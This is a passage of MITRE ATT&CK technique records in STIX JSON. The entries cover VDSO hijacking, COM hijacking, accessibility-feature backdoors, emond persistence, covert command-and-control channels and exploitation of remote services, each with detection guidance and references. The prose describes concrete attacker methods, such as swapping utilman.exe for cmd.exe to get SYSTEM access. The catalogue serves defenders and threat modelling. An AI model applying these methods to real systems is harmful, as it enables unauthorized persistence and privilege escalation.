            "description": "Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nVDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009)(Citation: Backtrace VDSO)(Citation: VDSO Aug 2005)(Citation: Syscall 2014)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process.  ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for malicious usage of system calls, such as ptrace and mmap, that can be used to attach to, manipulate memory, then redirect a processes' execution path. Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics)(Citation: GNU Acct)(Citation: RHEL auditd)(Citation: Chokepoint preload rootkits) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091",
            "created": "2017-05-31T21:30:32.259Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1026",
                    "external_id": "T1026"
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "modified": "2025-04-25T15:15:54.209Z",
            "name": "Multiband Communication",
            "description": "**This technique has been deprecated and should no longer be used.**\n\nSome adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.",
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            "x_mitre_platforms": [
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            "x_mitre_version": "1.1"
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            "type": "attack-pattern",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1071/002",
                    "external_id": "T1071.002"
                },
                {
                    "source_name": "ESET Machete July 2019",
                    "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                },
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                }
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            "object_marking_refs": [
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            "modified": "2025-04-15T19:58:52.946Z",
            "name": "File Transfer Protocols",
            "description": "Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as SMB(Citation: US-CERT TA18-074A), FTP(Citation: ESET Machete July 2019), FTPS, and TFTP that transfer files may be very common in environments.  Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the transferred files. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ",
            "kill_chain_phases": [
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                    "phase_name": "command-and-control"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.(Citation: University of Birmingham C2)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network Devices",
                "ESXi"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69",
            "created": "2017-05-31T21:31:33.979Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1122",
                    "external_id": "T1122"
                },
                {
                    "source_name": "Microsoft Component Object Model",
                    "description": "Microsoft. (n.d.). The Component Object Model. Retrieved August 18, 2016.",
                    "url": "https://msdn.microsoft.com/library/ms694363.aspx"
                },
                {
                    "source_name": "GDATA COM Hijacking",
                    "description": "G DATA. (2014, October). COM Object hijacking: the discreet way of persistence. Retrieved August 13, 2016.",
                    "url": "https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence"
                },
                {
                    "source_name": "Elastic COM Hijacking",
                    "description": "Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.",
                    "url": "https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:54.452Z",
            "name": "Component Object Model Hijacking",
            "description": "The Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "ENDGAME"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within <code>HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\</code> may be anomalous and should be investigated since user objects will be loaded prior to machine objects in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\</code>. (Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3",
            "created": "2017-05-31T21:30:26.946Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1015",
                    "external_id": "T1015"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/558.html",
                    "external_id": "CAPEC-558"
                },
                {
                    "source_name": "FireEye Hikit Rootkit",
                    "description": "Glyer, C., Kazanciyan, R. (2012, August 20). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.",
                    "url": "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html"
                },
                {
                    "source_name": "DEFCON2016 Sticky Keys",
                    "description": "Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017.",
                    "url": "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom"
                },
                {
                    "source_name": "Tilbury 2014",
                    "description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.",
                    "url": "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:54.626Z",
            "name": "Accessibility Features",
            "description": "Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are <code>C:\\Windows\\System32\\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\\Windows\\System32\\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\\Windows\\System32\\utilman.exe</code>) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nFor the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for the accessibility program (e.g., \"utilman.exe\"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)\n\n* On-Screen Keyboard: <code>C:\\Windows\\System32\\osk.exe</code>\n* Magnifier: <code>C:\\Windows\\System32\\Magnify.exe</code>\n* Narrator: <code>C:\\Windows\\System32\\Narrator.exe</code>\n* Display Switcher: <code>C:\\Windows\\System32\\DisplaySwitch.exe</code>\n* App Switcher: <code>C:\\Windows\\System32\\AtBroker.exe</code>",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Paul Speulstra, AECOM Global Security Operations Center"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options</code>.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1212",
                    "external_id": "T1212"
                },
                {
                    "source_name": "Bugcrowd Replay Attack",
                    "description": "Bugcrowd. (n.d.). Replay Attack. Retrieved September 27, 2023.",
                    "url": "https://www.bugcrowd.com/glossary/replay-attack/"
                },
                {
                    "source_name": "Comparitech Replay Attack",
                    "description": "Justin Schamotta. (2022, October 28). What is a replay attack?. Retrieved September 27, 2023.",
                    "url": "https://www.comparitech.com/blog/information-security/what-is-a-replay-attack/"
                },
                {
                    "source_name": "ADSecurity Detecting Forged Tickets",
                    "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.",
                    "url": "https://adsecurity.org/?p=1515"
                },
                {
                    "source_name": "Storm-0558 techniques for unauthorized email access",
                    "description": "Microsoft Threat Intelligence. (2023, July 14). Analysis of Storm-0558 techniques for unauthorized email access. Retrieved September 18, 2023.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2023/07/14/analysis-of-storm-0558-techniques-for-unauthorized-email-access/"
                },
                {
                    "source_name": "Microsoft Midnight Blizzard Replay Attack",
                    "description": "Microsoft Threat Intelligence. (2023, June 21). Credential Attacks. Retrieved September 12, 2024.",
                    "url": "https://x.com/MsftSecIntel/status/1671579359994343425"
                },
                {
                    "source_name": "Technet MS14-068",
                    "description": "Microsoft. (2014, November 18). Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780). Retrieved December 23, 2015.",
                    "url": "https://technet.microsoft.com/en-us/library/security/ms14-068.aspx"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:30:06.288Z",
            "name": "Exploitation for Credential Access",
            "description": "Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0\n\nCredentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain authenticated access to systems. One example of this is `MS14-068`, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions.(Citation: Technet MS14-068)(Citation: ADSecurity Detecting Forged Tickets) Another example of this is replay attacks, in which the adversary intercepts data packets sent between parties and then later replays these packets. If services don't properly validate authentication requests, these replayed packets may allow an adversary to impersonate one of the parties and gain unauthorized access or privileges.(Citation: Bugcrowd Replay Attack)(Citation: Comparitech Replay Attack)(Citation: Microsoft Midnight Blizzard Replay Attack)\n\nSuch exploitation has been demonstrated in cloud environments as well. For example, adversaries have exploited vulnerabilities in public cloud infrastructure that allowed for unintended authentication token creation and renewal.(Citation: Storm-0558 techniques for unauthorized email access)\n\nExploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "John Lambert, Microsoft Threat Intelligence Center",
                "Mohit Rathore"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. Credential resources obtained through exploitation may be detectable in use if they are not normally used or seen.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS",
                "Identity Provider"
            ],
            "x_mitre_version": "1.6",
            "x_mitre_data_sources": [
                "User Account: User Account Authentication",
                "Process: Process Creation",
                "Application Log: Application Log Content"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd",
            "created": "2020-01-24T15:15:13.426Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1546/014",
                    "external_id": "T1546.014"
                },
                {
                    "source_name": "magnusviri emond Apr 2016",
                    "description": "Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019.",
                    "url": "http://www.magnusviri.com/Mac/what-is-emond.html"
                },
                {
                    "source_name": "xorrior emond Jan 2018",
                    "description": "Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019.",
                    "url": "https://www.xorrior.com/emond-persistence/"
                },
                {
                    "source_name": "sentinelone macos persist Jun 2019",
                    "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.",
                    "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T20:37:18.374Z",
            "name": "Emond",
            "description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place.\n\nThe rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Ivan Sinyakov"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor emond rules creation by checking for files created or modified in <code>/etc/emond.d/rules/</code> and <code>/private/var/db/emondClients</code>.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Command: Command Execution",
                "Process: Process Creation",
                "File: File Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8",
            "created": "2020-03-14T22:45:52.963Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1102/003",
                    "external_id": "T1102.003"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T14:47:30.432Z",
            "name": "One-Way Communication",
            "description": "Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "ESXi"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--9d48cab2-7929-4812-ad22-f536665f0109",
            "created": "2020-10-02T15:45:17.628Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1590",
                    "external_id": "T1590"
                },
                {
                    "source_name": "Circl Passive DNS",
                    "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.",
                    "url": "https://www.circl.lu/services/passive-dns/"
                },
                {
                    "source_name": "DNS Dumpster",
                    "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
                    "url": "https://dnsdumpster.com/"
                },
                {
                    "source_name": "WHOIS",
                    "description": "NTT America. (n.d.). Whois Lookup. Retrieved November 17, 2024.",
                    "url": "https://who.is/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:38:13.461Z",
            "name": "Gather Victim Network Information",
            "description": "Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1210",
                    "external_id": "T1210"
                },
                {
                    "source_name": "Broadcom VMSA-2024-0019",
                    "description": "Broadcom. (2024, September 17). VMSA-2024-0019: Questions & Answers. Retrieved April 8, 2025.",
                    "url": "https://github.com/vmware/vcf-security-and-compliance-guidelines/blob/main/security-advisories/vmsa-2024-0019/README.md"
                },
                {
                    "source_name": "CIS Multiple SMB Vulnerabilities",
                    "description": "CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.",
                    "url": "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/"
                },
                {
                    "source_name": "Ars Technica VMWare Code Execution Vulnerability 2021",
                    "description": "Dan Goodin . (2021, February 25). Code-execution flaw in VMware has a severity rating of 9.8 out of 10. Retrieved April 8, 2025.",
                    "url": "https://arstechnica.com/information-technology/2021/02/armed-with-exploits-hackers-on-the-prowl-for-a-critical-vmware-vulnerability/"
                },
                {
                    "source_name": "NVD CVE-2016-6662",
                    "description": "National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018.",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6662"
                },
                {
                    "source_name": "NVD CVE-2017-0176",
                    "description": "National Vulnerability Database. (2017, June 22). CVE-2017-0176 Detail. Retrieved April 3, 2018.",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0176"
                },
                {
                    "source_name": "NVD CVE-2014-7169",
                    "description": "National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018.",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-7169"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:53.590Z",
            "name": "Exploitation of Remote Services",
            "description": "Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Discovery](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities,  or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nThere are several well-known vulnerabilities that exist in common services such as SMB(Citation: CIS Multiple SMB Vulnerabilities) and RDP(Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL(Citation: NVD CVE-2016-6662) and web server services.(Citation: NVD CVE-2014-7169)(Citation: Ars Technica VMWare Code Execution Vulnerability 2021) Additionally, there have been a number of vulnerabilities in VMware vCenter installations, which may enable threat actors to move laterally from the compromised vCenter server to virtual machines or even to ESXi hypervisors.(Citation: Broadcom VMSA-2024-0019)\n\nDepending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "ExtraHop"
            ],
            "x_mitre_deprecated": false,
